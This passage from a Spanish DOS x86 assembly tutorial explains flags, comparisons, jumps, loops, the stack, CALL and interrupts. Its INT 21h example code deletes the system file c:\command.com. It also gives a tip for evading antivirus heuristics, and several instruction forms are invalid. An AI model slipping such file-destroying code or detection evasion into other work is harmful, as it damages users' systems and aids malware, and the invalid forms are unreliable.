  755.     Se dividiría DX-AX entre SI, almacenándose el resultado en AX, y el resto
  756.  en DX. Por ejemplo:
  757.  
  758.     Si en DX está el valor 003Fh y en AX 5555h, el par sería 3F5555h, con lo
  759.  que al dividirlo por SI ( que pongamos que vale 0CCC4h ), se almacenaría en
  760.  AX el resultado y en DX el resto.
  761.  
  762.     Y ahora pasamos a una parte en la que hay algo de teoría y tal,...
  763.  
  764.  
  765.  
  766.                                ┌─────────┐
  767.                                │  FLAGS  │
  768.                                └─────────┘
  769.  
  770.     La explicación de los "flags" viene a cuento de los saltos condicionales.
  771.  Los que hayáis visto un mínimo de otros lenguajes recordaréis las sentencias
  772.  FOR y NEXT ( en Basic ), o el IF/THEN/ELSE también en estilo Basic pero
  773.  encontrable en otros lenguajes. Pues bien, los flags y las instrucciones
  774.  condicionales va a ser lo que os encontréis en éste capítulo del curso de
  775.  Ensamblador.
  776.  
  777.     Vamos con el registro de flags.
  778.  
  779.     A las flags, "banderas", las agrupa un sólo registro de 16 bits, aunque
  780.  éste no está utilizado por completo, ya que cada flag ocupa un sólo bit.
  781.  Pero bueno, ¿ qué son los flags a todo ésto ?
  782.  
  783.     Se trata de varios bits, que como siempre pueden valer uno o cero, y
  784.  dependiendo de su valor indican varias cosas. El registro de flags es como
  785.  sigue:
  786.  
  787.     ┌───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┐
  788.     │ ▒ │ ▒ │ ▒ │ ▒ │ O │ D │ I │ T │ S │ Z │ ▒ │ A │ ▒ │ P │ ▒ │ C │
  789.     └───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┘
  790.  
  791.     O: Overflow     D: Dirección    I: Interrupciones rehabilitadas
  792.     T: Trampa       S: Signo        Z: Cero
  793.     A: Acarreo auxiliar     P: Paridad      C: Acarreo   ▒: No utilizado
  794.  
  795.  
  796.     Cada cuadrito representa un bit como es fácil adivinar. También os daréis
  797.  cuenta de que cada bit que se utiliza tiene un nombre, y como veréis también
  798.  una utilidad. Aquí explico el significado de cada uno, o al menos de los
  799.  más importantes:
  800.  
  801.  
  802.     EL FLAG DE ACARREO
  803.     ──────────────────
  804.  
  805.     Hay veces en la operaciones en las que el número se desborda, o sea, no
  806.  cabe en el registro o en la posición de memoria. Imaginemos que tenemos en
  807.  AX el número 0FFFFh y le sumamos 0CCCCh. Como es lógico, el resultado no nos
  808.  cabrá en AX. Al realizar ésta suma, tenemos que tener en cuenta que el
  809.  siguiente número a 0FFFFh es 0000h, con lo que podremos ver el resultado.
  810.  Igual pasará si a 0000h le restamos por ejemplo 1 ( el resultado será
  811.  0FFFFh ). Pero de alguna manera nos tenemos que DAR CUENTA de que ésto ha
  812.  sucedido.
  813.  
  814.     Cuando se opera y hay acarreo en el último bit sobre el que se ha
  815.  operado, el flag de acarreo se pone a uno. O sea, cuando ese número se ha
  816.  desbordado. Hay que recordar también que las instrucciones INC y DEC no
  817.  afectan a éste flag. Veamos los efectos de éstas operaciones:
  818.  
  819.     MOV AX,0FFFFh
  820.     INC AX              ; AX vale ahora 0, el flag de acarreo también
  821.     DEC AX              ; AX vale 0FFFFh, y el flag sigue inalterado
  822.     ADD AX,1            ; AX vale 0, y el flag de acarreo está a 1
  823.     MOV BX,0000h
  824.     ADD BX,50h          ; El flag de acarreo se pone a 0, no ha habido
  825.                         ;acarreo en ésta operación
  826.     SUB AX,1            ; Ahora AX vale otra vez 0FFFFh, y el flag de acarreo
  827.                         ;se pone de nuevo a uno
  828.  
  829.     En resumen, se activa cuando tras una operación hay un paso del valor
  830.  máximo al mínimo o viceversa
  831.  
  832.     Este flag nos va a ser también útil al comprobar errores, etc. Por
  833.  ejemplo, si buscamos el primer archivo del directorio y no hay ninguno,
  834.  éste flag se activará, con lo que podremos usar los saltos condicionales,
  835.  pero ésto ya se explica más adelante.
  836.  
  837.  
  838.     EL FLAG DE SIGNO
  839.     ────────────────
  840.  
  841.     A veces interesa conocer cuando un número con signo es negativo o positivo.
  842.  Evidentemente, ésto sólo tiene efecto cuando EFECTIVAMENTE estamos tratando
  843.  con números enteros con signo, en complemento a dos. Indica cuando tras una
  844.  operación aritmética ( ADD, SUB, INC, DEC o NEG ) o lógica ( AND, OR o XOR )
  845.  el resultado es un número en complemento a dos. En realidad es la copia del
  846.  bit de mayor peso del byte, el que indica cuando el número es negativo.
  847.  
  848.     Por lo tanto, cuando vale 1 es que el número es negativo y si vale 0 es
  849.  que es positivo
  850.  
  851.  
  852.     EL FLAG DE DESBORDAMIENTO  ("Overflow")
  853.     ─────────────────────────
  854.  
  855.     Se trata de un flag bastante parecido al de acarreo, pero que actúa con
  856.  números en complemento a dos y se activa cuando se pasa del mayor número
  857.  positivo ( 127 en un sólo byte ) al menor negativo ( -128 en tamaño de un
  858.  byte ).
  859.  
  860.     Este flag, al contrario que el de acarreo, SI es afectado por las
  861.  instrucciones de decremento e incremento.
  862.  
  863.  
  864.     EL FLAG DE CERO
  865.     ───────────────
  866.  
  867.     De los más sencillitos de comprender. Símplemente se activa cuando el
  868.  resultado de una operación aritmética o lógica es cero. A los avispados se
  869.  os estará ya ocurriendo la gran utilidad del flag,... tenemos por ejemplo
  870.  dos registros, AX y CX, que queremos comparar para saber si son iguales.
  871.  Para saberlo, no tendríamos más que restar uno del otro, y si el resultado
  872.  es cero ( o sea, si el flag de cero se pone en uno ), podremos hacer un
  873.  salto condicional ( ésto lo explico en el próximo número.
  874.  
  875.     O sea, de un
  876.  
  877.     SUB CX,AX
  878.  
  879.     Si son iguales, el flag de cero se pondrá a uno.
  880.  
  881.  
  882.     EL FLAG DE PARIDAD
  883.     ──────────────────
  884.  
  885.     Se utiliza especialmente en la transmisión de datos para la comprobación
  886.  de errores, ya que comprueba si el resultado de la última operación
  887.  aritmética o lógica realizada tiene un número par o impar de bits puestos
  888.  a uno. Se pondrá a uno cuando haya un número par de bits, y a cero cuando
  889.  sea impar.
  890.  
  891.  
  892.     RESTO DE FLAGS
  893.     ──────────────
  894.  
  895.     No describiré más flags detalladamente, ya que su importancia es casi
  896.  nula; por ejemplo está el flag de interrupción que cuando está activado
  897.  evita la posibilidad de interrupciones en secciones críticas de código, o
  898.  el de trampa, que cuando está activado provoca una INT 1h cada vez que se
  899.  ejecuta otra instrucción, pero creo que su interés es escaso, al menos por
  900.  el momento.
  901.  
  902.  
  903.     INSTRUCCIONES DE COMPARACION
  904.     ────────────────────────────
  905.  
  906.     ¡ No ibamos a terminar la lección sin enseñar nuevas instrucciones !
  907.  Nos van a servir bastante para realizar las comparaciones, y son:
  908.  
  909.     CMP y TEST
  910.  
  911.     CMP compara dos registros, o un registro y una dirección de memoria,...
  912.  tiene el mismo formato que el SUB ( por ejemplo CMP AX,BX ), tan sólo que
  913.  ninguno de los registros es alterado. Si por ejemplo son iguales, el flag
  914.  de cero se pondrá en uno. Es en realidad un SUB del que no se almacena el
  915.  resultado.
  916.  
  917.     TEST, comprobar, se puede realizar con el mismo formato de AND, ya que
  918.  es equivalente a ella, tan sólo que no se guarda el resultado, aunque sí se
  919.  modifican los flags.
  920.  
  921.     Y en el próximo capítulo veremos como se aplican éstos flags, y como
  922.  realizar los saltos comparativos.
  923.  
  924.  
  925.  
  926.                      ┌──────────────────────────────┐
  927.                      │  LAS INSTRUCCIONES DE SALTO  │
  928.                      └──────────────────────────────┘
  929.  
  930.     SALTOS INCONDICIONALES
  931.     ──────────────────────
  932.  
  933.     Empecemos por el salto sin condiciones, con el que podremos cambiar
  934.  el control a cualquier punto del programa. Sería como el "Goto" del Basic,
  935.  símplemente transferir el control a otro punto del programa. La orden es
  936.  JMP ( de Jump, salto )
  937.  
  938.     Si recordáis a éstas alturas los registros CS:IP, se podrá ver qué es
  939.  lo que hace realmente la instrucción, y no es más que incrementar o
  940.  decrementar IP para llegar a la zona del programa a la que queremos
  941.  transferir el control ( IP es el Offset que indica la zona de memoria
  942.  que contiene la siguiente instrucción a ejecutar, y CS el segmento )
  943.  
  944.     El formato más sencillo para el salto sería JMP 03424h, lo que saltaría
  945.  a esa zona. Pero es digamos que "algo pesado" calcular en qué dirección
  946.  va a estar esa instrucción, con lo que utilizaremos etiquetas. Aquí hay
  947.  un ejemplo, en el que de paso se repasa un poco:
  948.  
  949.  
  950.             MOV AX,0CC34h
  951.             MOV CL,22h
  952.             JMP PALANTE
  953. VUELVE:     CMP BX,AX
  954.             JMP FIN
  955. PALANTE:    MOV BX,AX
  956.             JMP VUELVE
  957. FIN:        XOR CX,CX
  958.  
  959.     Ahora voy a comentar un poco el programa. Tras la primera instrucción,
  960.  AX vale 0CC34h, y tras la segunda, CL vale 22h. Después se realiza un salto
  961.  a la instrucción etiquetada con "PALANTE". La etiqueta ha de estar
  962.  continuada por dos puntos ':', y puede ser llamada desde cualquier lugar del
  963.  programa. También podremos hacer un MOV AX,[PALANTE], como hacíamos antes
  964.  con un MOV AX,[BX], pero asignando a AX el valor que haya en la dirección
  965.  en la que está "PALANTE".
  966.     El caso, que tras el salto a "PALANTE", se copia el valor del registro BX
  967.  en AX, y se vuelve a "VUELVE". Se realiza una comparación entre AX y BX, que
  968.  pondrá el flag de cero a 1 ( recordemos la anterior lección ), se saltará
  969.  a "FIN", donde tan sólo se realizará la orden Xor CX,CX cuyo resultado, por
  970.  cierto, es poner CX a cero tenga el valor que tenga ( y ésto se utilizará
  971.  bastante programando, por eso me ha dado por incluir la orden )
  972.  
  973.     Volvamos con la sintaxis del JMP con algunos ejemplos de como utilizarlo:
  974.  
  975.     JMP 100h
  976.  
  977.     Salta a la dirección 100h. Un archivo .COM comienza normalmente en esa
  978.  dirección, así que quizá lo veáis en algunos virus.
  979.  
  980.     JMP 542Ah:100h
  981.  
  982.     Salta a la dirección 100h pero del segmento 542Ah. ¿ Os acordáis aún
  983.  de los Segments y Offsets ?. Se trata de un salto lejano.
  984.  
  985.     JMP SHORT 223Ah
  986.  
  987.     Salto corto a la dirección 223Ah. Tranquilidad, ahora explico lo de salto
  988.  corto, lejano,...
  989.  
  990.     JMP NEAR  55AAh
  991.  
  992.     Salto cercano, es diferente al corto
  993.  
  994.     JMP [100h]
  995.  
  996.     Salta a la dirección contenida en 100h. Sin embargo es un error, ya que
  997.  no se especifíca si es cercano, lejano, si se lee un sólo byte,... o sea,
  998.  que ésta instrucción no vale.
  999.  
  1000.     JMP WORD PTR [BX]
  1001.  
  1002.     Ahora si vale ;). Salta a la dirección contenida en la palabra ( dos
  1003.  bytes ) a la que apunta BX. O sea, si BX valiese 300h y en 300h los dos
  1004.  bytes fuesen 0CC33h, el JMP saltaría a ésta dirección.
  1005.  
  1006.     JMP DWORD PTR [BX+SI+5]
  1007.  
  1008.     Dword son 32 bits, o sea, un salto lejano. Y saltaría al contenido en
  1009.  la dirección de memoria a la que apuntan la suma de BX,SI y 5.
  1010.  
  1011.  
  1012.     Ahora voy a contar algo sobre los saltos lejanos, cercanos y cortos. El
  1013.  salto corto se realiza entre el punto en el que se está y +127 o -128, o
  1014.  sea, que la cantidad que se puede contener en un byte con signo. A veces
  1015.  es necesario indicar que se trata de salto corto, cercano o lejano.
  1016.  
  1017.     El salto cercano se realiza contando como distancia el contenido de dos
  1018.  bytes, o sea, que el rango sería desde 32767 a -32768 bytes de distancia.
  1019.  
  1020.     Y el lejano se realiza contando como distancia el contenido de cuatro
  1021.  bytes, y,... paso de calcular la distancia, pero es mucha X-)
  1022.  
  1023.     Por ejemplo, es incorrecto que haya en la dirección 100h una instrucción
  1024.  que diga JMP SHORT 500h, ya que la distancia no corresponde a un salto
  1025.  corto. Además, el salto dependiendo de que sea cercano, corto o largo se
  1026.  codifica de manera diferente en modo hexadecimal.
  1027.  
  1028.  
  1029.     SALTOS CONDICIONALES
  1030.     ────────────────────
  1031.  
  1032.     ¿ Recordáis aquel IF-THEN-ELSE, o el FOR, o el WHILE-DO ?
  1033.  
  1034.     Bien, pues aquí está lo que suple a éstas instrucciones en lenguaje
  1035.  ensamblador. Se basan complétamente en los flags, por ello el rollo de la
  1036.  anterior lección, pero están simplificados de tal manera que no os hará
  1037.  falta sabéroslos de memoria para poder hacerlos.
  1038.  
  1039.     Los saltos podrían resumirse en un modo "Basic" de la manera IF-THEN-GOTO
  1040.  de tal manera que cuando se cumple una condición se salta a un sitio
  1041.  determinado.
  1042.  
  1043.     He aquí los tipos de saltos condicionales ( las letras en mayúsculas son
  1044.  las instrucciones ):
  1045.  
  1046.     JO: Jump if overflow. Salta si el flag de desbordamiento está a uno
  1047.     JNO: Jump if not overflow. Salta si el flag de desbordamiento está a
  1048.  cero.
  1049.     JC, JNAE, JB: Los tres sirven para lo mismo. Significan: Jump if Carry,
  1050.  Jump if Not Above or Equal y Jump if Below. Saltan por lo tanto si al
  1051.  haber una comparación el flag de acarreo se pone a 1, es entonces
  1052.  equivalente a < en una operación sin signo. Vamos, que si se compara así:
  1053.  CMP 13h,18h, saltará, ya que 13h es menor que 18h. También se suelen usar
  1054.  para detectar si hubo fallo en la operación, ya que muchas interrupciones
  1055.  al acabar en fallo encienden el carry flag.
  1056.  
  1057.     JNC, JAE, JNB: Otros tres que valen exáctamente para lo mismo. Jump if
  1058.  not Carry, Jump if Above or Equal y Jump if Not Below. Saltan por tanto si
  1059.  al haber una comparación el flag de acarreo vale 0, o sea, es equivelente
  1060.  al operador >=. En la comparación CMP 0,0 o CMP 13h,12h saltará, ya que el
  1061.  segundo operando es MAYOR O IGUAL que el primero.
  1062.  
  1063.     JZ o JE: Jump if Zero o Jump if Equal. Salta si el flag de cero está a
  1064.  1, o sea, si las dos instrucciones comparadas son iguales. Saltaría en el
  1065.  caso CMP 0,0
  1066.  
  1067.     JNZ o JNE: Jump if Not Zero o Jump if Not Equal. Salta si el flag de cero
  1068.  está a 0, o sea, si las dos instrucciones comparadas no son iguales.
  1069.  
  1070.     JBE o JNA: Jump if Below or Equal o Jump if Not Above. Saltaría si en
  1071.  resultado de la comparación el primer miembro es menor o igual que el
  1072.  segundo ( <= )
  1073.  
  1074.     JA o JNBE: Jump if Above o Jump if Not Below of Equal. Justo lo contrario
  1075.  que la anterior, salta si en el resultado de la comparación el primer
  1076.  miembro es mayor al segundo.
  1077.  
  1078.     JS: Jump if Sign. Salta si el flag de signo está a uno.
  1079.  
  1080.     JNS: Jump if Not Sign. Salta si el flag de signo está a cero.
  1081.  
  1082.     JP, JPE: Jump if Parity o Jump if Parity Even. Salta si el flag de
  1083.  paridad está a uno.
  1084.  
  1085.     JNP, JPO: Jump if Not Parity, Jump if Parity Odd. Salta si el flag de
  1086.  paridad está a cero.
  1087.  
  1088.     JL, JNGE: Jump if Less, Jump if Not Greater of Equal. Salta si en el
  1089.  resultado de la comparación, el primer número es inferior al segundo, pero
  1090.  con números con signo.
  1091.  
  1092.     JGE, JNL: Jump if Greater or Equal, Jump if Not Less. Salta si en el
  1093.  resultado de la comparación, el primer número es mayor o igual que el
  1094.  segundo, pero con números con signo.
  1095.  
  1096.     JLE, JNG: Jump if Lower or Equal, Jump if Not Greater. Salta si en el
  1097.  resultado de la comparación, el primer número es menor o igual que el
  1098.  segundo, pero con números con signo.
  1099.  
  1100.     JG, JNLE: Jump if Greater, Jump if Not Lower or Equal. Salta si en el
  1101.  resultado de la comparación, el primer número es mayor que el segundo, para
  1102.  números con signo.
  1103.  
  1104.     Fiuuuuu !!! Menuda lista. Bueno, aconsejo que os quedéis de cada
  1105.  parrafito con uno, aunque algunos se usen poco, pero como veis para una
  1106.  misma instrucción hay varios,... y para gustos no hay nada escrito, lo mismo
  1107.  os da usar JG que JNLE por ejemplo.
  1108.  
  1109.     Vamos, que después de toda ésta aridez me temo que voy a tener que poner
  1110.  algunos ejemplos de los más utilizados:
  1111.  
  1112.                 MOV AX,1111h
  1113.                 MOV BX,1112h
  1114.                 CMP AX,BX       ; AX es menor que BX ( toma perogrullada )
  1115.                 JB  tirapalante ; Saltará a tirapalante
  1116.                 HLT             ; Esta orden bloquea el ordenador, halt
  1117. tirapalante:    DEC BX          ; Ahora BX valdrá 1111h
  1118.                 CMP AX,BX       ; Ahora valen igual
  1119.                 JNE Acaba       ; No saltará, ya que son iguales
  1120.                 JE Continua     ; Esta vez si
  1121. Continua:       DEC BX          ; Ahora BX vale 1110h
  1122.                 CMP AX,BX
  1123.                 JE Acaba        ; No son iguales, por tanto no saltará
  1124.                 JB Acaba        ; No es menor, tampoco salta
  1125.                 JG Acaba        ; Es mayor, ahora SI saltará
  1126. Acaba:          XOR AX,AX
  1127.                 XOR BX,BX       ; AX y BX valen ahora cero.
  1128.  
  1129.     Espero que con ésto haya aclarado un poco la utilidad de los saltos.
  1130.  Evidentemente, ahora al escribir sabemos cuando uno es menor o mayor, pero
  1131.  a veces mediante interrupciones sacaremos valores que no conoceremos al ir
  1132.  a programar, o quizá lo hagamos de la memoria, y querremos comprobar si
  1133.  son iguales, etcétera.
  1134.  
  1135.     Por cierto, que en los saltos condicionales se puede hacer como en los
  1136.  incondicionales, o sea, formatos como:
  1137.  
  1138.     JE 0022h
  1139.     JNE 0030h
  1140.     JNO AL
  1141.  
  1142.     Sin embargo, estamos limitados a saltos cortos, o sea, de rango a 127
  1143.  bytes hacia adelante o 128 hacia atrás, no pudiendo superar ésta distancia.
  1144.  
  1145.  
  1146.     BUCLES
  1147.     ──────
  1148.  
  1149.     He aquí el equivalente al FOR-TO-NEXT en ensamblador, se trata de la
  1150.  orden LOOP. Lo que hace ésta orden es comparar CX con cero; si es igual,
  1151.  sigue adelante, si no lo es, vuelve al lugar que se indica en su operando
  1152.  decrementando CX en uno. Por lo tanto, CX será un contador de las veces
  1153.  que ha de repetirse el bucle. Vamos con un ejemplo:
  1154.  
  1155.         MOV CX,0005h
  1156. bucle:  INC DX
  1157.         CMP DX,0000h
  1158.         JE  Acaba
  1159.         LOOP bucle
  1160. Acaba:  ...
  1161.  
  1162.     Veamos como funciona éste programa. Se mueve a CX el valor 5h, que van
  1163.  a ser las veces que se repita el bucle. Ahora, llegamos al cuerpo del bucle.
  1164.  Se incrementa DX y se compara con 0, cuando es igual salta a "Acaba". Si
  1165.  llega a la orden LOOP, CX se decrementará y saltará a bucle. Esto se
  1166.  repetirá cinco veces. En fin, que el programa acabará en el grupo de
  1167.  instrucciones de "Acaba" cuando la comparación de un resultado positivo o
  1168.  cuando el bucle se haya repetido cinco veces.
  1169.  
  1170.     También tiene la limitación de que sólo realiza saltos cortos, y también
  1171.  puede usarse como el JMP, de la forma:
  1172.  
  1173.     LOOP 0003h
  1174.     LOOP [AL]
  1175.  
  1176.     En resumen, la orden LOOP es la equivalente a CMP CX,0/JNZ parámetro,
  1177.  donde parámetro es el operando de LOOP.
  1178.  
  1179.     Y en fin, hemos terminado con los condicionales. Parece muy árido, pero
  1180.  luego seguramente usaréis poco más que un JZ o JNZ al principio,... y el
  1181.  LOOP, claro. Ya no nos queda mucho. La explicación de la pila y las
  1182.  interrupciones, y ya podréis empezar a programar.
  1183.  
  1184.  
  1185.  
  1186.                                 ┌───────────┐
  1187.                                 │  LA PILA  │
  1188.                                 └───────────┘
  1189.  
  1190.     Para explicar ésta parte, voy a hacerlo lo más mundanamente posible y
  1191.  sin mucho término complicado, porque las explicaciones muchas veces suelen
  1192.  liar más sobre una cosa tan sencilla como es ésto.
  1193.  
  1194.     La pila es una especie de "almacén de variables" que se encuentra en una
  1195.  dirección determinada de memoria, dirección que viene indicada por SS:SP,
  1196.  como mencioné antes, registros que son SS de segmento de pila y SP de
  1197.  Offset de ésta.
  1198.  
  1199.     Entonces nos encontramos con dos órdenes básicas respecto a la pila, que
  1200.  son PUSH y POP. La órden PUSH empuja una variable a la pila, y la órden POP
  1201.  la saca. Sin embargo, no podemos sacar el que queramos, no podemos decir
  1202.  "quiero sacar el valor de DX que he metido antes y que fue el cuarto que
  1203.  metí", por ejemplo.
  1204.  
  1205.     La estructura de la pila se denomina LIFO, siglas inglesas que indican
  1206.  'Last In First Out'. Esto significa que al hacer un POP, se sacará el
  1207.  último valor introducido en la pila. Vamos con unos ejemplitos majos:
  1208.  
  1209.     PUSH    DX              ; Mete en la pila el contenido de DX
  1210.     PUSH    CX              ; Y ahora el contenido de CX
  1211.     POP     AX              ; Ahora saca el último valor introducido ( CX )
  1212.                             ;y lo coloca en AX.
  1213.     POP     BP              ; Y ahora saca en valor anterior introducido, que
  1214.                             ;es el contenido de DX cuando hicimos el PUSH DX
  1215.                             ;y se lo asigna a BP.
  1216.  
  1217.     Ahora, una rutina algo más detallada:
  1218.  
  1219.     MOV     DX,0301h        ; DX vale ahora 0301 hexadecimal.
  1220.     PUSH    DX              ; Empuja DX a la pila. SP se decrementa en dos.
  1221.     MOV     DX,044C4h       ; Ahora DX vale 044C4h
  1222.     POP     CX              ; Y con ésto, CX vale 0301 hexadecimal, el valor
  1223.                             ;que habíamos introducido con anterioridad.
  1224.  
  1225.     Dije en la segunda línea: SP se decrementa en dos. Cuando por ejemplo
  1226.  ejecutamos un .COM, SS es el segmento del programa ( o sea, igual que CS,
  1227.  y si no han sido modificados, DS y ES ), y SP apunta al final, a 0FFFFh.
  1228.  Cuando empujamos un valor a la pila, SP se decrementa en dos apuntando a
  1229.  0FFFDh, y en ésta dirección queda el valor introducido. Cuando lo saquemos,
  1230.  se incrementará de nuevo en dos el valor de SP, y el valor se sacará de
  1231.  la pila.
  1232.  
  1233.     Se puede operar con ésta instrucción con los registros AX, BX, CX, DX,
  1234.  SI, DI, BP, SP, CS, DS y ES, sin embargo no se puede hacer un POP CS, tan
  1235.  sólo empujarlo a la pila.
  1236.  
  1237.     He aquí un ejemplo de lo que hace en realidad un POP en términos de MOVs,
  1238.  aunque sea un gasto inútil de código, tiene su aplicación por ejemplo para
  1239.  saltarse la heurística en un antivirus, que busca un POP BP y SUB posterior,
  1240.  bueno, supongo que ya aprenderéis a aplicarlo cuando veáis el curso de
  1241.  virus/antivirus:
  1242.  
  1243.     Partamos de que hay cierto valor en la pila que queremos sacar.
  1244.  
  1245.     MOV     BP,SP       ; Ahora BP es igual al offset al que apunta SP
  1246.     MOV     BP,Word ptr [BP] ; Y ahora BP vale el contenido del offset al
  1247.                              ;que apunta, que al ser el offset al que apunta
  1248.                              ;el de pila, será el valor que sacaríamos
  1249.                              ;haciendo un POP BP.
  1250.     ADD     SP,2            ; Para acabarlo, sumamos dos al valor de offset
  1251.                             ;de la pila.
  1252.  
  1253.     Y ésto es lo que hace un POP BP, símplemente. Para ver lo que hace un PUSH
  1254.  no habría más que invertir el proceso, lo pongo aquí, pero sería un buen
  1255.  ejercicio que lo intentárais hacer sin mirarlo y luego lo consultárais, por
  1256.  ejemplo introduciendo DX a la pila.
  1257.  
  1258.     SUB     SP,2
  1259.     MOV     BP,SP
  1260.     MOV     Word ptr[BP],DX
  1261.  
  1262.     Como última recomendación, hay que tener bastante cuidado con los PUSH
  1263.  y POP, sacar tantos valores de la pila como se metan, y estar pendiente de
  1264.  que lo que se saca es lo que se tiene que sacar. La pila bien aprovechada
  1265.  es fundamental para hacer programas bien optimizados, ya que entre otras
  1266.  cosas las instrucciones PUSH y POP sólo ocupan un byte.
  1267.  
  1268.     Es por ejemplo mucho mejor usar un PUSH al principio y un POP al final
  1269.  en vez de dejar partes de código para almacenar variables, más velocidad
  1270.  y menos tamaño.
  1271.  
  1272.     Y finalmente, hay otras dos órdenes interesantes respecto a la pila,
  1273.  PUSHF y POPF, que empujan el registro ( 16 bits ) de flags y lo sacan,
  1274.  respectivamente
  1275.  
  1276.                                 LA ORDEN CALL
  1277.                                 ────────────-
  1278.  
  1279.     Se trata de una órden que se utiliza para llamar a subrutinas, y está
  1280.  relacionada con la pila, por lo que la incluyo en ésta lección del curso.
  1281.  
  1282.     La sintaxis del Call es casi la de un Jmp, pudiéndose también utilizar
  1283.  etiquetas, direcciones inmediatas o registros. Si comparásemos un Jmp con
  1284.  un 'GOTO', el Call sería el 'GOSUB'. Es una instrucción que nos va a servir
  1285.  para llamar a subrutinas.
  1286.  
  1287.     Su forma de actuación es sencilla. Empuja a la pila los valores de CS e
  1288.  IP ( o sea, los del punto en el que está en ese momento el programa ),
  1289.  aunque IP aumentado en el tamaño del call para apuntar a la siguiente
  1290.  instrucción, y hace un salto a la dirección indicada. Cuando encuentre una
  1291.  instrucción  RET, sacará CS e IP de la pila, y así retornará al lugar de
  1292.  origen. Veamos un ejemplo:
  1293.  
  1294.          xor     ax,ax       ; Ax vale ahora 0
  1295.          Call    quebién     ; Mete CS e IP a la pila y salta a quebién
  1296.          Int     20h         ; Ésta órden sale al dos, explicaré todo ésto
  1297.                              ;en el próximo capítulo, sólo que sepáis eso
  1298. quebién: mov     ax,30h
  1299.          Ret                 ; Vuelve a la instrucción siguiente al punto
  1300.                              ;de llamada, o sea, a la de "INT 20h"
  1301.  
  1302.     La órden RET puede tener también varios formatos: RETN o RETF, según se
  1303.  retorne desde un sitio cercano ( RETN, near ) o lejano ( RETF, far ). No
  1304.  obstante, prácticamente no lo usaremos, la mayoría de las veces se quedará
  1305.  en RET y punto.
  1306.  
  1307.     Existe entonces la llamada directa cercana, en la que sólo se introduce
  1308.  IP ( lógicamente, apuntando a la órden siguiente al Call ), y al retornar,
  1309.  lo hace en el mismo segmento, y la llamada directa lejana, en la que se
  1310.  introducen CS e IP ( y luego se sacan, claro ). A veces se podrían producir
  1311.  confusiones, con lo que quizá pueda ser conveniente usar RETN y RETF
  1312.  respectivamente.
  1313.  
  1314.     Y el próximo capítulo empezamos con interrupciones,... venga, que ya
  1315.  queda menos para poder programar ;-)
  1316.  
  1317.  
  1318.  
  1319.                            ┌────────────────────┐
  1320.                            │   INTERRUPCIONES   │
  1321.                            └────────────────────┘
  1322.  
  1323.     A éstas alturas del curso estaréis diciendo: bueno, vale, he aprendido
  1324.  a mover registros, a meterlos en la pila, etc,... ¿ pero cómo actúo con
  1325.  el exterior ?. Porque por mucho registro que tenga no voy a escribir por
  1326.  ejemplo un carácter en la pantalla. Bieeeeeen, pues aquí está, son las
  1327.  interrupciones.
  1328.  
  1329.     La primera cosa que tenemos que hacer es saber como funcionan las
  1330.  interrupciones. Son principalmente subrutinas de la BIOS o el DOS que
  1331.  pueden ser llamadas por un programa, por ejemplo la función 21h está
  1332.  dedicada especialmente a tratamiento de archivos.
  1333.  
  1334.     Para utilizarlas, tendremos que poner los registros con un determinado
  1335.  valor para que se realice el propósito que buscamos. Cada interrupción
  1336.  tiene varias funciones, y podremos elegir cual ejecutamos según el valor
  1337.  de AH.
  1338.  
  1339.     El formato de la órden es INT X, donde X puede ir desde 1 a 255 ( aunque
  1340.  normalmente se escribe en formato hexadecimal ).
  1341.  
  1342.     Cuando se ejecuta una interrupción, el ordenador empuja todos los flags
  1343.  a la pila, un 'PUSHF', y después mira en la tabla de vectores de
  1344.  interrupción, de la que hablaré más adelante, para transferir el control
  1345.  del programa al punto que indica esa tabla respecto a la interrupción
  1346.  pedida mediante un 'CALL'. Cuando la interrupción ha terminado, acabará con
  1347.  un IRET, que es una combinación entre 'POPF' y 'RET'.
  1348.  
  1349.     La tabla de Vectores de Interrupción es una tabla de direcciones para
  1350.  la dirección a la que debe saltar cada interrupción. Comienza en la
  1351.  dirección de memoria 0000:0000 y acaba en la 0000:0400, siendo cada
  1352.  dirección de 4 bytes de longitud. Para averiguar cual corresponde a cada
  1353.  interrupción, no hay más que multiplicar el número de interrupción por
  1354.  cuatro. Por ejemplo, la dirección de memoria donde está el punto al que
  1355.  salta una INT 21h, es 0000:21h*4. Ahí se contienen el CS e IP a los que
  1356.  saltará el programa cuando se ejecute la interrupción. Estos valores, son
  1357.  modificables, pero hay que tener mucho cuidado con ello.
  1358.  
  1359.     Y ahora voy a ponerme algo más mundano, si no habéis entendido ésto al
  1360.  menos saber 'qué hace', quizá así además los que os hayáis perdido podáis
  1361.  retornar más adelante. Vamos con un ejemplo de uso de una interrupción:
  1362.  
  1363.  
  1364.                 jmp mesaltomsg      ; Esto lo hago porque ejecutar el texto
  1365.                                     ;puede traer consecuencias imprevisibles
  1366.  
  1367. archivo:        db 'c:\command.com',0 ; el 0 que va después es necesario
  1368.                                     ; en operaciones con archivos, o no
  1369.                                     ; funcionará.
  1370.  
  1371. mesaltomsg:     mov ax,4100h        ; Al ir a llamar a la interrupción, AH
  1372.                                     ;( que aquí es 41h ), indica la función
  1373.                                     ;de dicha interrupción que se quiere
  1374.                                     ;ejecutar. En éste caso es la 41h, que
  1375.                                     ;significa borrar un fichero
  1376.  
  1377.                 mov dx,OFFSET archivo   ; En dx cargamos la dirección del
  1378.                                         ;offset con la etiqueta archivo,
  1379.                                         ;o sea, si la etiqueta archivo está
  1380.                                         ;en :0014h, ese será ahora el valor
  1381.                                         ;de DX. Como vemos, no sólo basta
  1382.                                         ;con tener AX actualizado para poder
  1383.                                         ;usar la interrupción.
  1384.  
  1385.                 Int 21h                 ; Ejecutamos la interrupción 21h en
  1386.                                         ;su función 41h, borrar un fichero.
  1387.  
  1388.     Voy a detallar un poco más, ¿ por qué en dx pongo la dirección del offset
  1389.  de archivo ?. Porque la función de la Int21h que busco necesita parámetros.
  1390.  Cuando AH vale 41h, función de borrar fichero, necesita ciertos parámetros,
  1391.  y ésto es que en DS:DX se encuentre la cadena de caracteres que indica el
  1392.  fichero a buscar.
  1393.  
  1394.     Como DS vale lo mismo que CS si no lo hemos cambiado, tan sólo hace
  1395.  falta hacer que DX apunte al lugar donde está la cadena de caracteres con
  1396.  el nombre del archivo.
  1397.  
  1398.  
  1399.     Vamos con otro ejemplo. Ahora, queremos cambiar el nombre de un fichero.
  1400.  La interrupción para ello es la 21h, y la función que queremos es la 56h,
  1401.  con lo que en AH tendremos que poner ese valor.
  1402.  
  1403.     El par DS:DX, es la dirección de la cadena que contiene la unidad, camino
